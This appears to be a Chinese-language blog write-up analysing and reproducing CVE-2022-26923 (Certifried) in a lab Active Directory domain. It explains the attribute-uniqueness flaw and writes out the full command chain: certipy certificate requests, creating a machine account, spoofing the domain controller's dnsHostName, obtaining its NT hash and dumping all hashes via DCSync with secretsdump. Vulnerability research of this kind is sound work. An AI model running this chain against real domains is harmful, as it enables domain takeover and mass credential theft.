Northeast Assassin King

Cve 2022 26923分析

CVE-2022-26923分析

作者ly4k的5月11日公布的漏洞

攻击利用过程

certutil -config - -ping

certipy req ‘ekko.local/ae86:Aa1234567@ad2.ekko.local’ -ca ekko-AD2-CA -template User

使用颁发的证书对 KDC 进行 Kerberos 身份验证,并获取该用户的 TGT 票据,并检索NT哈希,如下图所示。

certipy auth -pfx ae86.pfx -username ae86 -domain ekko.local -dc-ip 192.168.1.128

我们知道默认情况下,普通域用户可以注册User证书模板,域计算机可以注册机器Machine证书

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1

计算机用户和普通用户在对AD CS发起请求时,是有不同的模板,用户账号具有用户主体名称UPN(userPrincipalName),反之机器账号则没有。当使用证书进行身份验证时候,KDC会尝试讲UPN从证书映射到用户,用户模板的User msPKI-Certificate-Name-Flag 属性User,可以看到CT_FLAG_SUBJECT_ALT_REQUIRE_UPN。

根据MS-ADTS(3.1.1.5.1.3 Uniqueness Constraints)规范,UPN的值必须是唯一的,这意味着不能有两个相同的UPN值,例如,我们尝试将ae86的UPN修改为linan@ekko.local,会发生约束冲突,因为linan的upn已经被linan用户占用了

查看机器账户的证书模板,发现机器账户需要指定SubjectAltRequireDns(CT_FLAG_SUBJECT_ALT_REQUIRE_DNS)

添加一个机器账号,并为机器账号申请AD CS证书

python3 addcomputer.py ekko.local/ae86:Aa1234567 -method LDAPS -computer-name ekko$ -computer-pass Passw0rd -dc-ip ad1.ekko.local

certipy req ekko.local/ekko$:Passw0rd@ad2.ekko.local -ca ‘ekko-AD2-CA’ -template ‘Machine’

查看机器账户的DnsHostName值

发现dnsHostname名字已经变成ekko.ekko.local

如果把dnshostname的值改成dc计算机账号相同的dnshostname值,是否能够欺骗adcs,请求到ad的证书。很显然这里和之前的漏洞CVE-2021-42287和CVE-2021-42278 nopac的漏洞是类似的,可以看下samaccountname和userprincipalName的区别。

文中并没有提及dnsHostName的属性必须是唯一的,但是对于计算机的创建者来说,拥有对计算机validated write to computer attributes 权限,也就是说,我们可以把ekko$机器账户的dnshostname属性值改成域控的dns主机名

这样执行会产生报错

能够注意到spn的值已经改变,也就是说dnsHostName和spn两个属性是相互关联的,修改了ekko$机器账户的dnsHostName属性时,RestrictedKrbHost/ekko.ekko.local和HOST/ekko.ekko.local两条spn将会更新。

即我们把他改成dnsHostName改成ad1的话那么servicePrincipalName里面的两条就会变成RestrictedKrbHost/ad1.ekko.local和HOST/ad1.ekko.local,字段会和域控的属性重复,而servicePrincipalName属性具有唯一性,所以会和域控的属性引发约束冲突。

但是spn包含的DnsHostName值必须有DnsHostName属性,但是我们可以删除spn包含的dnsHostName值

如下图所示

然后再次尝试修改机器账户的dnsHostName属性值为ad1.ekko.local,这次就会修改成功

继续用机器账户身份使用Machine模板请求证书,该模板应该嵌入了dnsHostName属性作为标识

certipy req ekko.local/ekko$:Passw0rd@ad2.ekko.local -ca ‘ekko-AD2-CA’ -template ‘Machine’

成功获取到ad1.ekko.local的证书,然后我们使用证书进行身份验证,获取到用户的NT哈希

certipy auth -pfx ad1.pfx -dc-ip 192.168.1.128

接下来用NT哈希 Dcsync转储所有用户hash

python3 secretsdump.py ‘ekko.local/ad1$@ad1.ekko.local’ -hashes :3a8af619da8032a36e815ac5f535a8a6

漏洞复现

作者更新了Certipy(https://github.com/ly4k/Certipy),可以轻松创建机器账号并请求证书功能

certipy account create ‘ekko.local/ae86:Aa1234567@ad1.ekko.local’ -user ‘ae86pc’ -dns ‘ad1.ekko.local’

certipy req ‘ekko.local/ae86pc$:SLheJGDAq5KNO2Fe@ad2.ekko.local’ -ca ekko-AD2-CA -template Machine

然后再次dcsync即可

bof实战利用

CVE-2022-26923 DCPWN 机器名后面不加$

参考文献

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

https://github.com/ly4k/Certipy

https://mp.weixin.qq.com/s?src=11&timestamp=1652338011&ver=3793&signature=wwbuwQS-1sfdogEkUrXkmBF-hbyTd9xPdTut-LGt3N-G6KYPRdascc9ljW0SFRsrPXEw5rTYW5YDwXoOtc9zL7x6uK50emjjVXL1mvgdF32av8fZAkgTV1Zlgil2p2&new=1